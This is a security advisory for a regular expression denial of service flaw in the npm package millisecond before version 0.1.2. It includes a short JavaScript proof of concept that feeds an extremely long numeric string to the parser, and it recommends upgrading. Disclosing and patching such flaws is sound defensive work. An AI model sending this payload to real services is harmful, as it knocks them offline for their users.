GHSA-m489-xr35-fjxrMediumDisclosed before NVD

Regular Expression Denial of Service in millisecond

Published
September 22, 2021
Last Modified
January 9, 2023

📋 Description

Versions of millisecond prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of concept

var ms = require('millisecond');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Recommendation

Update to version 0.1.2 or later.

🎯 Affected products1

  • npm/millisecond:< 0.1.2

🔗 References (3)